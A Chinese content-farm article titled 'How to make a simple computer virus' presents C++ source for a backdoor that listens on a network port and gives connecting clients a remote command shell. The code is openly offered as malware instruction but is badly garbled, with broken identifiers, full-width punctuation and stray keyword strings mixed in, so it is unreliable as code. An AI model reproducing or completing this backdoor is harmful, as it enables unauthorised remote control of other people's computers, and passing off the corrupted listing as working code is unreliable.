和您一起探索知识星空

注册/登录|最近发布|今日推荐

主页 生活常识知识百科综合新知学习探索
当前位置:首页 > 综合

如何制造简单的电脑病毒

发布时间:2023-06-19 09:43责任编辑:郑果果关键词:电脑,病毒
  这是个简单的后门(cmdshell)
#i nclude
int main(int argc,char*argv[])
{
 return 0;
}//这个大家都知道了然后添加头文件C m d S h e l l。h跟Socket。
  h #i nclude//WINDOW程序基本上都要包含这个文件的了!!!/cy #i nclude "Cmdshell。h" #i nclude"SocketEX。h" int main(int argz,char* argv[]) { CSocketEX client,server; // server。
  Create(12345,NULL)// // server。Listen():// while(1)// #i nclude { server。Accept(client);// SOCKET whi =client。
  Detach(); // CreateThread(0,0。(L P T H R E A D _ S T A R T _R O U T I N E)Talk With(void*)whi,0,MULL)' // } } void TalkWithCliet(void cs*) { SOCKET wsc=(SOCKET)cs;// c。
  Attach(wsc);// char *cmd;// c。Send("Welcome TO CmdShell\r\n"),strlen("Welcome TO CmdShell\r\n")); // while(1);// { c。
  Send("#",stelen("#")); // cmd=recvcmd(c); // /******得到cmd shell*************/ if (strcmp(cmd ,"shell")==0 { CCmdShell cmdshell // cmdshell。
  LetUsGo(c。m_hSocket); // continue; } // /**************断开连接*************/ if (strcmp(cmd,"quit")==0) {break;} // if(c。
  m。h_Socket==INVALD_SOCKET) {break;} // if(wsc==INVALID_SOCKET) {break} } wsc jasd break void continue if wcs char while int email if !//sdh return // closesocket(wsc); } char*recvcmd(CSocketEx&c)// { char*cmd;// charbuf[32];// char chr[1];// int i=0; ZeroMemory(but,32);// while(i<32);// { if(!c。
  Receive(chr,1)c。
  Close();// buf[i]=chr[0];// if(chr[0]==oxa||chr[0]==oxa)// { buf[i]=0; break; } i++; } cmd=but;// return cmd;// } 。

知识推荐

星宁百科——分享生活小百科,一起学习探索新知识。 垃圾信息处理邮箱 tousu558@163.com 网站地图
icp备案号 闽ICP备2023003782号-5 互联网安全管理备案 不良信息举报平台 Copyright 2023 www.tsingning.cn All Rights Reserved